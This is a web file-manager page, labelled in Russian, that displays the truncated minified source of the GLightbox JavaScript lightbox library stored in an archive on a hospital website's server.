Файловый менеджер - Редактировать - /home/amitahospital/public_html/amita_master/upload/news/glightbox.tar
Назад
js/glightbox.min.js 0000644 00000155110 14721212120 0010262 0 ustar 00 !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e=e||self).GLightbox=t()}(this,(function(){"use strict";function e(t){return(e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(t)}function t(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function i(e,t){for(var i=0;i<t.length;i++){var n=t[i];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function n(e,t,n){return t&&i(e.prototype,t),n&&i(e,n),e}var s=Date.now();function l(){var e={},t=!0,i=0,n=arguments.length;"[object Boolean]"===Object.prototype.toString.call(arguments[0])&&(t=arguments[0],i++);for(var s=function(i){for(var n in i)Object.prototype.hasOwnProperty.call(i,n)&&(t&&"[object Object]"===Object.prototype.toString.call(i[n])?e[n]=l(!0,e[n],i[n]):e[n]=i[n])};i<n;i++){var o=arguments[i];s(o)}return e}function o(e,t){if((k(e)||e===window||e===document)&&(e=[e]),A(e)||L(e)||(e=[e]),0!=P(e))if(A(e)&&!L(e))for(var i=e.length,n=0;n<i&&!1!==t.call(e[n],e[n],n,e);n++);else if(L(e))for(var s in e)if(O(e,s)&&!1===t.call(e[s],e[s],s,e))break}function r(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,n=e[s]=e[s]||[],l={all:n,evt:null,found:null};return t&&i&&P(n)>0&&o(n,(function(e,n){if(e.eventName==t&&e.fn.toString()==i.toString())return l.found=!0,l.evt=n,!1})),l}function a(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=t.onElement,n=t.withCallback,s=t.avoidDuplicate,l=void 0===s||s,a=t.once,h=void 0!==a&&a,d=t.useCapture,c=void 0!==d&&d,u=arguments.length>2?arguments[2]:void 0,g=i||[];function v(e){T(n)&&n.call(u,e,this),h&&v.destroy()}return C(g)&&(g=document.querySelectorAll(g)),v.destroy=function(){o(g,(function(t){var i=r(t,e,v);i.found&&i.all.splice(i.evt,1),t.removeEventListener&&t.removeEventListener(e,v,c)}))},o(g,(function(t){var i=r(t,e,v);(t.addEventListener&&l&&!i.found||!l)&&(t.addEventListener(e,v,c),i.all.push({eventName:e,fn:v}))})),v}function h(e,t){o(t.split(" "),(function(t){return e.classList.add(t)}))}function d(e,t){o(t.split(" "),(function(t){return e.classList.remove(t)}))}function c(e,t){return e.classList.contains(t)}function u(e,t){for(;e!==document.body;){if(!(e=e.parentElement))return!1;if("function"==typeof e.matches?e.matches(t):e.msMatchesSelector(t))return e}}function g(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",i=arguments.length>2&&void 0!==arguments[2]&&arguments[2];if(!e||""===t)return!1;if("none"===t)return T(i)&&i(),!1;var n=x(),s=t.split(" ");o(s,(function(t){h(e,"g"+t)})),a(n,{onElement:e,avoidDuplicate:!1,once:!0,withCallback:function(e,t){o(s,(function(e){d(t,"g"+e)})),T(i)&&i()}})}function v(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";if(""===t)return e.style.webkitTransform="",e.style.MozTransform="",e.style.msTransform="",e.style.OTransform="",e.style.transform="",!1;e.style.webkitTransform=t,e.style.MozTransform=t,e.style.msTransform=t,e.style.OTransform=t,e.style.transform=t}function f(e){e.style.display="block"}function p(e){e.style.display="none"}function m(e){var t=document.createDocumentFragment(),i=document.createElement("div");for(i.innerHTML=e;i.firstChild;)t.appendChild(i.firstChild);return t}function y(){return{width:window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth,height:window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight}}function x(){var e,t=document.createElement("fakeelement"),i={animation:"animationend",OAnimation:"oAnimationEnd",MozAnimation:"animationend",WebkitAnimation:"webkitAnimationEnd"};for(e in i)if(void 0!==t.style[e])return i[e]}function b(e,t,i,n){if(e())t();else{var s;i||(i=100);var l=setInterval((function(){e()&&(clearInterval(l),s&&clearTimeout(s),t())}),i);n&&(s=setTimeout((function(){clearInterval(l)}),n))}}function S(e,t,i){if(I(e))console.error("Inject assets error");else if(T(t)&&(i=t,t=!1),C(t)&&t in window)T(i)&&i();else{var n;if(-1!==e.indexOf(".css")){if((n=document.querySelectorAll('link[href="'+e+'"]'))&&n.length>0)return void(T(i)&&i());var s=document.getElementsByTagName("head")[0],l=s.querySelectorAll('link[rel="stylesheet"]'),o=document.createElement("link");return o.rel="stylesheet",o.type="text/css",o.href=e,o.media="all",l?s.insertBefore(o,l[0]):s.appendChild(o),void(T(i)&&i())}if((n=document.querySelectorAll('script[src="'+e+'"]'))&&n.length>0){if(T(i)){if(C(t))return b((function(){return void 0!==window[t]}),(function(){i()})),!1;i()}}else{var r=document.createElement("script");r.type="text/javascript",r.src=e,r.onload=function(){if(T(i)){if(C(t))return b((function(){return void 0!==window[t]}),(function(){i()})),!1;i()}},document.body.appendChild(r)}}}function w(){return"navigator"in window&&window.navigator.userAgent.match(/(iPad)|(iPhone)|(iPod)|(Android)|(PlayBook)|(BB10)|(BlackBerry)|(Opera Mini)|(IEMobile)|(webOS)|(MeeGo)/i)}function T(e){return"function"==typeof e}function C(e){return"string"==typeof e}function k(e){return!(!e||!e.nodeType||1!=e.nodeType)}function E(e){return Array.isArray(e)}function A(e){return e&&e.length&&isFinite(e.length)}function L(t){return"object"===e(t)&&null!=t&&!T(t)&&!E(t)}function I(e){return null==e}function O(e,t){return null!==e&&hasOwnProperty.call(e,t)}function P(e){if(L(e)){if(e.keys)return e.keys().length;var t=0;for(var i in e)O(e,i)&&t++;return t}return e.length}function M(e){return!isNaN(parseFloat(e))&&isFinite(e)}function z(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:-1,t=document.querySelectorAll(".gbtn[data-taborder]:not(.disabled)");if(!t.length)return!1;if(1==t.length)return t[0];"string"==typeof e&&(e=parseInt(e));var i=[];o(t,(function(e){i.push(e.getAttribute("data-taborder"))}));var n=Math.max.apply(Math,i.map((function(e){return parseInt(e)}))),s=e<0?1:e+1;s>n&&(s="1");var l=i.filter((function(e){return e>=parseInt(s)})),r=l.sort()[0];return document.querySelector('.gbtn[data-taborder="'.concat(r,'"]'))}function X(e){if(e.events.hasOwnProperty("keyboard"))return!1;e.events.keyboard=a("keydown",{onElement:window,withCallback:function(t,i){var n=(t=t||window.event).keyCode;if(9==n){var s=document.querySelector(".gbtn.focused");if(!s){var l=!(!document.activeElement||!document.activeElement.nodeName)&&document.activeElement.nodeName.toLocaleLowerCase();if("input"==l||"textarea"==l||"button"==l)return}t.preventDefault();var o=document.querySelectorAll(".gbtn[data-taborder]");if(!o||o.length<=0)return;if(!s){var r=z();return void(r&&(r.focus(),h(r,"focused")))}var a=z(s.getAttribute("data-taborder"));d(s,"focused"),a&&(a.focus(),h(a,"focused"))}39==n&&e.nextSlide(),37==n&&e.prevSlide(),27==n&&e.close()}})}function Y(e){return Math.sqrt(e.x*e.x+e.y*e.y)}function q(e,t){var i=function(e,t){var i=Y(e)*Y(t);if(0===i)return 0;var n=function(e,t){return e.x*t.x+e.y*t.y}(e,t)/i;return n>1&&(n=1),Math.acos(n)}(e,t);return function(e,t){return e.x*t.y-t.x*e.y}(e,t)>0&&(i*=-1),180*i/Math.PI}var N=function(){function e(i){t(this,e),this.handlers=[],this.el=i}return n(e,[{key:"add",value:function(e){this.handlers.push(e)}},{key:"del",value:function(e){e||(this.handlers=[]);for(var t=this.handlers.length;t>=0;t--)this.handlers[t]===e&&this.handlers.splice(t,1)}},{key:"dispatch",value:function(){for(var e=0,t=this.handlers.length;e<t;e++){var i=this.handlers[e];"function"==typeof i&&i.apply(this.el,arguments)}}}]),e}();function D(e,t){var i=new N(e);return i.add(t),i}var _=function(){function e(i,n){t(this,e),this.element="string"==typeof i?document.querySelector(i):i,this.start=this.start.bind(this),this.move=this.move.bind(this),this.end=this.end.bind(this),this.cancel=this.cancel.bind(this),this.element.addEventListener("touchstart",this.start,!1),this.element.addEventListener("touchmove",this.move,!1),this.element.addEventListener("touchend",this.end,!1),this.element.addEventListener("touchcancel",this.cancel,!1),this.preV={x:null,y:null},this.pinchStartLen=null,this.zoom=1,this.isDoubleTap=!1;var s=function(){};this.rotate=D(this.element,n.rotate||s),this.touchStart=D(this.element,n.touchStart||s),this.multipointStart=D(this.element,n.multipointStart||s),this.multipointEnd=D(this.element,n.multipointEnd||s),this.pinch=D(this.element,n.pinch||s),this.swipe=D(this.element,n.swipe||s),this.tap=D(this.element,n.tap||s),this.doubleTap=D(this.element,n.doubleTap||s),this.longTap=D(this.element,n.longTap||s),this.singleTap=D(this.element,n.singleTap||s),this.pressMove=D(this.element,n.pressMove||s),this.twoFingerPressMove=D(this.element,n.twoFingerPressMove||s),this.touchMove=D(this.element,n.touchMove||s),this.touchEnd=D(this.element,n.touchEnd||s),this.touchCancel=D(this.element,n.touchCancel||s),this.translateContainer=this.element,this._cancelAllHandler=this.cancelAll.bind(this),window.addEventListener("scroll",this._cancelAllHandler),this.delta=null,this.last=null,this.now=null,this.tapTimeout=null,this.singleTapTimeout=null,this.longTapTimeout=null,this.swipeTimeout=null,this.x1=this.x2=this.y1=this.y2=null,this.preTapPosition={x:null,y:null}}return n(e,[{key:"start",value:function(e){if(e.touches){if(e.target&&e.target.nodeName&&["a","button","input"].indexOf(e.target.nodeName.toLowerCase())>=0)console.log("ignore drag for this touched element",e.target.nodeName.toLowerCase());else{this.now=Date.now(),this.x1=e.touches[0].pageX,this.y1=e.touches[0].pageY,this.delta=this.now-(this.last||this.now),this.touchStart.dispatch(e,this.element),null!==this.preTapPosition.x&&(this.isDoubleTap=this.delta>0&&this.delta<=250&&Math.abs(this.preTapPosition.x-this.x1)<30&&Math.abs(this.preTapPosition.y-this.y1)<30,this.isDoubleTap&&clearTimeout(this.singleTapTimeout)),this.preTapPosition.x=this.x1,this.preTapPosition.y=this.y1,this.last=this.now;var t=this.preV;if(e.touches.length>1){this._cancelLongTap(),this._cancelSingleTap();var i={x:e.touches[1].pageX-this.x1,y:e.touches[1].pageY-this.y1};t.x=i.x,t.y=i.y,this.pinchStartLen=Y(t),this.multipointStart.dispatch(e,this.element)}this._preventTap=!1,this.longTapTimeout=setTimeout(function(){this.longTap.dispatch(e,this.element),this._preventTap=!0}.bind(this),750)}}}},{key:"move",value:function(e){if(e.touches){var t=this.preV,i=e.touches.length,n=e.touches[0].pageX,s=e.touches[0].pageY;if(this.isDoubleTap=!1,i>1){var l=e.touches[1].pageX,o=e.touches[1].pageY,r={x:e.touches[1].pageX-n,y:e.touches[1].pageY-s};null!==t.x&&(this.pinchStartLen>0&&(e.zoom=Y(r)/this.pinchStartLen,this.pinch.dispatch(e,this.element)),e.angle=q(r,t),this.rotate.dispatch(e,this.element)),t.x=r.x,t.y=r.y,null!==this.x2&&null!==this.sx2?(e.deltaX=(n-this.x2+l-this.sx2)/2,e.deltaY=(s-this.y2+o-this.sy2)/2):(e.deltaX=0,e.deltaY=0),this.twoFingerPressMove.dispatch(e,this.element),this.sx2=l,this.sy2=o}else{if(null!==this.x2){e.deltaX=n-this.x2,e.deltaY=s-this.y2;var a=Math.abs(this.x1-this.x2),h=Math.abs(this.y1-this.y2);(a>10||h>10)&&(this._preventTap=!0)}else e.deltaX=0,e.deltaY=0;this.pressMove.dispatch(e,this.element)}this.touchMove.dispatch(e,this.element),this._cancelLongTap(),this.x2=n,this.y2=s,i>1&&e.preventDefault()}}},{key:"end",value:function(e){if(e.changedTouches){this._cancelLongTap();var t=this;e.touches.length<2&&(this.multipointEnd.dispatch(e,this.element),this.sx2=this.sy2=null),this.x2&&Math.abs(this.x1-this.x2)>30||this.y2&&Math.abs(this.y1-this.y2)>30?(e.direction=this._swipeDirection(this.x1,this.x2,this.y1,this.y2),this.swipeTimeout=setTimeout((function(){t.swipe.dispatch(e,t.element)}),0)):(this.tapTimeout=setTimeout((function(){t._preventTap||t.tap.dispatch(e,t.element),t.isDoubleTap&&(t.doubleTap.dispatch(e,t.element),t.isDoubleTap=!1)}),0),t.isDoubleTap||(t.singleTapTimeout=setTimeout((function(){t.singleTap.dispatch(e,t.element)}),250))),this.touchEnd.dispatch(e,this.element),this.preV.x=0,this.preV.y=0,this.zoom=1,this.pinchStartLen=null,this.x1=this.x2=this.y1=this.y2=null}}},{key:"cancelAll",value:function(){this._preventTap=!0,clearTimeout(this.singleTapTimeout),clearTimeout(this.tapTimeout),clearTimeout(this.longTapTimeout),clearTimeout(this.swipeTimeout)}},{key:"cancel",value:function(e){this.cancelAll(),this.touchCancel.dispatch(e,this.element)}},{key:"_cancelLongTap",value:function(){clearTimeout(this.longTapTimeout)}},{key:"_cancelSingleTap",value:function(){clearTimeout(this.singleTapTimeout)}},{key:"_swipeDirection",value:function(e,t,i,n){return Math.abs(e-t)>=Math.abs(i-n)?e-t>0?"Left":"Right":i-n>0?"Up":"Down"}},{key:"on",value:function(e,t){this[e]&&this[e].add(t)}},{key:"off",value:function(e,t){this[e]&&this[e].del(t)}},{key:"destroy",value:function(){return this.singleTapTimeout&&clearTimeout(this.singleTapTimeout),this.tapTimeout&&clearTimeout(this.tapTimeout),this.longTapTimeout&&clearTimeout(this.longTapTimeout),this.swipeTimeout&&clearTimeout(this.swipeTimeout),this.element.removeEventListener("touchstart",this.start),this.element.removeEventListener("touchmove",this.move),this.element.removeEventListener("touchend",this.end),this.element.removeEventListener("touchcancel",this.cancel),this.rotate.del(),this.touchStart.del(),this.multipointStart.del(),this.multipointEnd.del(),this.pinch.del(),this.swipe.del(),this.tap.del(),this.doubleTap.del(),this.longTap.del(),this.singleTap.del(),this.pressMove.del(),this.twoFingerPressMove.del(),this.touchMove.del(),this.touchEnd.del(),this.touchCancel.del(),this.preV=this.pinchStartLen=this.zoom=this.isDoubleTap=this.delta=this.last=this.now=this.tapTimeout=this.singleTapTimeout=this.longTapTimeout=this.swipeTimeout=this.x1=this.x2=this.y1=this.y2=this.preTapPosition=this.rotate=this.touchStart=this.multipointStart=this.multipointEnd=this.pinch=this.swipe=this.tap=this.doubleTap=this.longTap=this.singleTap=this.pressMove=this.touchMove=this.touchEnd=this.touchCancel=this.twoFingerPressMove=null,window.removeEventListener("scroll",this._cancelAllHandler),null}}]),e}();function W(e){var t=function(){var e,t=document.createElement("fakeelement"),i={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"};for(e in i)if(void 0!==t.style[e])return i[e]}(),i=window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth,n=c(e,"gslide-media")?e:e.querySelector(".gslide-media"),s=u(n,".ginner-container"),l=e.querySelector(".gslide-description");i>769&&(n=s),h(n,"greset"),v(n,"translate3d(0, 0, 0)"),a(t,{onElement:n,once:!0,withCallback:function(e,t){d(n,"greset")}}),n.style.opacity="",l&&(l.style.opacity="")}function B(e){if(e.events.hasOwnProperty("touch"))return!1;var t,i,n,s=y(),l=s.width,o=s.height,r=!1,a=null,g=null,f=null,p=!1,m=1,x=1,b=!1,S=!1,w=null,T=null,C=null,k=null,E=0,A=0,L=!1,I=!1,O={},P={},M=0,z=0,X=document.getElementById("glightbox-slider"),Y=document.querySelector(".goverlay"),q=new _(X,{touchStart:function(t){if(r=!0,(c(t.targetTouches[0].target,"ginner-container")||u(t.targetTouches[0].target,".gslide-desc")||"a"==t.targetTouches[0].target.nodeName.toLowerCase())&&(r=!1),u(t.targetTouches[0].target,".gslide-inline")&&!c(t.targetTouches[0].target.parentNode,"gslide-inline")&&(r=!1),r){if(P=t.targetTouches[0],O.pageX=t.targetTouches[0].pageX,O.pageY=t.targetTouches[0].pageY,M=t.targetTouches[0].clientX,z=t.targetTouches[0].clientY,a=e.activeSlide,g=a.querySelector(".gslide-media"),n=a.querySelector(".gslide-inline"),f=null,c(g,"gslide-image")&&(f=g.querySelector("img")),(window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth)>769&&(g=a.querySelector(".ginner-container")),d(Y,"greset"),t.pageX>20&&t.pageX<window.innerWidth-20)return;t.preventDefault()}},touchMove:function(s){if(r&&(P=s.targetTouches[0],!b&&!S)){if(n&&n.offsetHeight>o){var a=O.pageX-P.pageX;if(Math.abs(a)<=13)return!1}p=!0;var h,d=s.targetTouches[0].clientX,c=s.targetTouches[0].clientY,u=M-d,m=z-c;if(Math.abs(u)>Math.abs(m)?(L=!1,I=!0):(I=!1,L=!0),t=P.pageX-O.pageX,E=100*t/l,i=P.pageY-O.pageY,A=100*i/o,L&&f&&(h=1-Math.abs(i)/o,Y.style.opacity=h,e.settings.touchFollowAxis&&(E=0)),I&&(h=1-Math.abs(t)/l,g.style.opacity=h,e.settings.touchFollowAxis&&(A=0)),!f)return v(g,"translate3d(".concat(E,"%, 0, 0)"));v(g,"translate3d(".concat(E,"%, ").concat(A,"%, 0)"))}},touchEnd:function(){if(r){if(p=!1,S||b)return C=w,void(k=T);var t=Math.abs(parseInt(A)),i=Math.abs(parseInt(E));if(!(t>29&&f))return t<29&&i<25?(h(Y,"greset"),Y.style.opacity=1,W(g)):void 0;e.close()}},multipointEnd:function(){setTimeout((function(){b=!1}),50)},multipointStart:function(){b=!0,m=x||1},pinch:function(e){if(!f||p)return!1;b=!0,f.scaleX=f.scaleY=m*e.zoom;var t=m*e.zoom;if(S=!0,t<=1)return S=!1,t=1,k=null,C=null,w=null,T=null,void f.setAttribute("style","");t>4.5&&(t=4.5),f.style.transform="scale3d(".concat(t,", ").concat(t,", 1)"),x=t},pressMove:function(e){if(S&&!b){var t=P.pageX-O.pageX,i=P.pageY-O.pageY;C&&(t+=C),k&&(i+=k),w=t,T=i;var n="translate3d(".concat(t,"px, ").concat(i,"px, 0)");x&&(n+=" scale3d(".concat(x,", ").concat(x,", 1)")),v(f,n)}},swipe:function(t){if(!S)if(b)b=!1;else{if("Left"==t.direction){if(e.index==e.elements.length-1)return W(g);e.nextSlide()}if("Right"==t.direction){if(0==e.index)return W(g);e.prevSlide()}}}});e.events.touch=q}var H=function(){function e(i,n){var s=this,l=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;if(t(this,e),this.img=i,this.slide=n,this.onclose=l,this.img.setZoomEvents)return!1;this.active=!1,this.zoomedIn=!1,this.dragging=!1,this.currentX=null,this.currentY=null,this.initialX=null,this.initialY=null,this.xOffset=0,this.yOffset=0,this.img.addEventListener("mousedown",(function(e){return s.dragStart(e)}),!1),this.img.addEventListener("mouseup",(function(e){return s.dragEnd(e)}),!1),this.img.addEventListener("mousemove",(function(e){return s.drag(e)}),!1),this.img.addEventListener("click",(function(e){return s.slide.classList.contains("dragging-nav")?(s.zoomOut(),!1):s.zoomedIn?void(s.zoomedIn&&!s.dragging&&s.zoomOut()):s.zoomIn()}),!1),this.img.setZoomEvents=!0}return n(e,[{key:"zoomIn",value:function(){var e=this.widowWidth();if(!(this.zoomedIn||e<=768)){var t=this.img;if(t.setAttribute("data-style",t.getAttribute("style")),t.style.maxWidth=t.naturalWidth+"px",t.style.maxHeight=t.naturalHeight+"px",t.naturalWidth>e){var i=e/2-t.naturalWidth/2;this.setTranslate(this.img.parentNode,i,0)}this.slide.classList.add("zoomed"),this.zoomedIn=!0}}},{key:"zoomOut",value:function(){this.img.parentNode.setAttribute("style",""),this.img.setAttribute("style",this.img.getAttribute("data-style")),this.slide.classList.remove("zoomed"),this.zoomedIn=!1,this.currentX=null,this.currentY=null,this.initialX=null,this.initialY=null,this.xOffset=0,this.yOffset=0,this.onclose&&"function"==typeof this.onclose&&this.onclose()}},{key:"dragStart",value:function(e){e.preventDefault(),this.zoomedIn?("touchstart"===e.type?(this.initialX=e.touches[0].clientX-this.xOffset,this.initialY=e.touches[0].clientY-this.yOffset):(this.initialX=e.clientX-this.xOffset,this.initialY=e.clientY-this.yOffset),e.target===this.img&&(this.active=!0,this.img.classList.add("dragging"))):this.active=!1}},{key:"dragEnd",value:function(e){var t=this;e.preventDefault(),this.initialX=this.currentX,this.initialY=this.currentY,this.active=!1,setTimeout((function(){t.dragging=!1,t.img.isDragging=!1,t.img.classList.remove("dragging")}),100)}},{key:"drag",value:function(e){this.active&&(e.preventDefault(),"touchmove"===e.type?(this.currentX=e.touches[0].clientX-this.initialX,this.currentY=e.touches[0].clientY-this.initialY):(this.currentX=e.clientX-this.initialX,this.currentY=e.clientY-this.initialY),this.xOffset=this.currentX,this.yOffset=this.currentY,this.img.isDragging=!0,this.dragging=!0,this.setTranslate(this.img,this.currentX,this.currentY))}},{key:"onMove",value:function(e){if(this.zoomedIn){var t=e.clientX-this.img.naturalWidth/2,i=e.clientY-this.img.naturalHeight/2;this.setTranslate(this.img,t,i)}}},{key:"setTranslate",value:function(e,t,i){e.style.transform="translate3d("+t+"px, "+i+"px, 0)"}},{key:"widowWidth",value:function(){return window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth}}]),e}(),V=function(){function e(){var i=this,n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};t(this,e);var s=n.dragEl,l=n.toleranceX,o=void 0===l?40:l,r=n.toleranceY,a=void 0===r?65:r,h=n.slide,d=void 0===h?null:h,c=n.instance,u=void 0===c?null:c;this.el=s,this.active=!1,this.dragging=!1,this.currentX=null,this.currentY=null,this.initialX=null,this.initialY=null,this.xOffset=0,this.yOffset=0,this.direction=null,this.lastDirection=null,this.toleranceX=o,this.toleranceY=a,this.toleranceReached=!1,this.dragContainer=this.el,this.slide=d,this.instance=u,this.el.addEventListener("mousedown",(function(e){return i.dragStart(e)}),!1),this.el.addEventListener("mouseup",(function(e){return i.dragEnd(e)}),!1),this.el.addEventListener("mousemove",(function(e){return i.drag(e)}),!1)}return n(e,[{key:"dragStart",value:function(e){if(this.slide.classList.contains("zoomed"))this.active=!1;else{"touchstart"===e.type?(this.initialX=e.touches[0].clientX-this.xOffset,this.initialY=e.touches[0].clientY-this.yOffset):(this.initialX=e.clientX-this.xOffset,this.initialY=e.clientY-this.yOffset);var t=e.target.nodeName.toLowerCase();e.target.classList.contains("nodrag")||u(e.target,".nodrag")||-1!==["input","select","textarea","button","a"].indexOf(t)?this.active=!1:(e.preventDefault(),(e.target===this.el||"img"!==t&&u(e.target,".gslide-inline"))&&(this.active=!0,this.el.classList.add("dragging"),this.dragContainer=u(e.target,".ginner-container")))}}},{key:"dragEnd",value:function(e){var t=this;e&&e.preventDefault(),this.initialX=0,this.initialY=0,this.currentX=null,this.currentY=null,this.initialX=null,this.initialY=null,this.xOffset=0,this.yOffset=0,this.active=!1,this.doSlideChange&&(this.instance.preventOutsideClick=!0,"right"==this.doSlideChange&&this.instance.prevSlide(),"left"==this.doSlideChange&&this.instance.nextSlide()),this.doSlideClose&&this.instance.close(),this.toleranceReached||this.setTranslate(this.dragContainer,0,0,!0),setTimeout((function(){t.instance.preventOutsideClick=!1,t.toleranceReached=!1,t.lastDirection=null,t.dragging=!1,t.el.isDragging=!1,t.el.classList.remove("dragging"),t.slide.classList.remove("dragging-nav"),t.dragContainer.style.transform="",t.dragContainer.style.transition=""}),100)}},{key:"drag",value:function(e){if(this.active){e.preventDefault(),this.slide.classList.add("dragging-nav"),"touchmove"===e.type?(this.currentX=e.touches[0].clientX-this.initialX,this.currentY=e.touches[0].clientY-this.initialY):(this.currentX=e.clientX-this.initialX,this.currentY=e.clientY-this.initialY),this.xOffset=this.currentX,this.yOffset=this.currentY,this.el.isDragging=!0,this.dragging=!0,this.doSlideChange=!1,this.doSlideClose=!1;var t=Math.abs(this.currentX),i=Math.abs(this.currentY);if(t>0&&t>=Math.abs(this.currentY)&&(!this.lastDirection||"x"==this.lastDirection)){this.yOffset=0,this.lastDirection="x",this.setTranslate(this.dragContainer,this.currentX,0);var n=this.shouldChange();if(!this.instance.settings.dragAutoSnap&&n&&(this.doSlideChange=n),this.instance.settings.dragAutoSnap&&n)return this.instance.preventOutsideClick=!0,this.toleranceReached=!0,this.active=!1,this.instance.preventOutsideClick=!0,this.dragEnd(null),"right"==n&&this.instance.prevSlide(),void("left"==n&&this.instance.nextSlide())}if(this.toleranceY>0&&i>0&&i>=t&&(!this.lastDirection||"y"==this.lastDirection)){this.xOffset=0,this.lastDirection="y",this.setTranslate(this.dragContainer,0,this.currentY);var s=this.shouldClose();return!this.instance.settings.dragAutoSnap&&s&&(this.doSlideClose=!0),void(this.instance.settings.dragAutoSnap&&s&&this.instance.close())}}}},{key:"shouldChange",value:function(){var e=!1;if(Math.abs(this.currentX)>=this.toleranceX){var t=this.currentX>0?"right":"left";("left"==t&&this.slide!==this.slide.parentNode.lastChild||"right"==t&&this.slide!==this.slide.parentNode.firstChild)&&(e=t)}return e}},{key:"shouldClose",value:function(){var e=!1;return Math.abs(this.currentY)>=this.toleranceY&&(e=!0),e}},{key:"setTranslate",value:function(e,t,i){var n=arguments.length>3&&void 0!==arguments[3]&&arguments[3];e.style.transition=n?"all .2s ease":"",e.style.transform="translate3d(".concat(t,"px, ").concat(i,"px, 0)")}}]),e}();function j(e,t,i,n){var s=e.querySelector(".gslide-media"),l=new Image,o="gSlideTitle_"+i,r="gSlideDesc_"+i;l.addEventListener("load",(function(){T(n)&&n()}),!1),l.src=t.href,""!=t.sizes&&""!=t.srcset&&(l.sizes=t.sizes,l.srcset=t.srcset),l.alt="",I(t.alt)||""===t.alt||(l.alt=t.alt),""!==t.title&&l.setAttribute("aria-labelledby",o),""!==t.description&&l.setAttribute("aria-describedby",r),t.hasOwnProperty("_hasCustomWidth")&&t._hasCustomWidth&&(l.style.width=t.width),t.hasOwnProperty("_hasCustomHeight")&&t._hasCustomHeight&&(l.style.height=t.height),s.insertBefore(l,s.firstChild)}function F(e,t,i,n){var s=this,l=e.querySelector(".ginner-container"),o="gvideo"+i,r=e.querySelector(".gslide-media"),a=this.getAllPlayers();h(l,"gvideo-container"),r.insertBefore(m('<div class="gvideo-wrapper"></div>'),r.firstChild);var d=e.querySelector(".gvideo-wrapper");S(this.settings.plyr.css,"Plyr");var c=t.href,u=null==t?void 0:t.videoProvider,g=!1;r.style.maxWidth=t.width,S(this.settings.plyr.js,"Plyr",(function(){if(!u&&c.match(/vimeo\.com\/([0-9]*)/)&&(u="vimeo"),!u&&(c.match(/(youtube\.com|youtube-nocookie\.com)\/watch\?v=([a-zA-Z0-9\-_]+)/)||c.match(/youtu\.be\/([a-zA-Z0-9\-_]+)/)||c.match(/(youtube\.com|youtube-nocookie\.com)\/embed\/([a-zA-Z0-9\-_]+)/))&&(u="youtube"),"local"===u||!u){u="local";var l='<video id="'+o+'" ';l+='style="background:#000; max-width: '.concat(t.width,';" '),l+='preload="metadata" ',l+='x-webkit-airplay="allow" ',l+="playsinline ",l+="controls ",l+='class="gvideo-local">',l+='<source src="'.concat(c,'">'),g=m(l+="</video>")}var r=g||m('<div id="'.concat(o,'" data-plyr-provider="').concat(u,'" data-plyr-embed-id="').concat(c,'"></div>'));h(d,"".concat(u,"-video gvideo")),d.appendChild(r),d.setAttribute("data-id",o),d.setAttribute("data-index",i);var v=O(s.settings.plyr,"config")?s.settings.plyr.config:{},f=new Plyr("#"+o,v);f.on("ready",(function(e){a[o]=e.detail.plyr,T(n)&&n()})),b((function(){return e.querySelector("iframe")&&"true"==e.querySelector("iframe").dataset.ready}),(function(){s.resize(e)})),f.on("enterfullscreen",R),f.on("exitfullscreen",R)}))}function R(e){var t=u(e.target,".gslide-media");"enterfullscreen"===e.type&&h(t,"fullscreen"),"exitfullscreen"===e.type&&d(t,"fullscreen")}function G(e,t,i,n){var s,l=this,o=e.querySelector(".gslide-media"),r=!(!O(t,"href")||!t.href)&&t.href.split("#").pop().trim(),d=!(!O(t,"content")||!t.content)&&t.content;if(d&&(C(d)&&(s=m('<div class="ginlined-content">'.concat(d,"</div>"))),k(d))){"none"==d.style.display&&(d.style.display="block");var c=document.createElement("div");c.className="ginlined-content",c.appendChild(d),s=c}if(r){var u=document.getElementById(r);if(!u)return!1;var g=u.cloneNode(!0);g.style.height=t.height,g.style.maxWidth=t.width,h(g,"ginlined-content"),s=g}if(!s)return console.error("Unable to append inline slide content",t),!1;o.style.height=t.height,o.style.width=t.width,o.appendChild(s),this.events["inlineclose"+r]=a("click",{onElement:o.querySelectorAll(".gtrigger-close"),withCallback:function(e){e.preventDefault(),l.close()}}),T(n)&&n()}function Z(e,t,i,n){var s=e.querySelector(".gslide-media"),l=function(e){var t=e.url,i=e.allow,n=e.callback,s=e.appendTo,l=document.createElement("iframe");return l.className="vimeo-video gvideo",l.src=t,l.style.width="100%",l.style.height="100%",i&&l.setAttribute("allow",i),l.onload=function(){l.onload=null,h(l,"node-ready"),T(n)&&n()},s&&s.appendChild(l),l}({url:t.href,callback:n});s.parentNode.style.maxWidth=t.width,s.parentNode.style.height=t.height,s.appendChild(l)}var U=function(){function e(){var i=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};t(this,e),this.defaults={href:"",sizes:"",srcset:"",title:"",type:"",videoProvider:"",description:"",alt:"",descPosition:"bottom",effect:"",width:"",height:"",content:!1,zoomable:!0,draggable:!0},L(i)&&(this.defaults=l(this.defaults,i))}return n(e,[{key:"sourceType",value:function(e){var 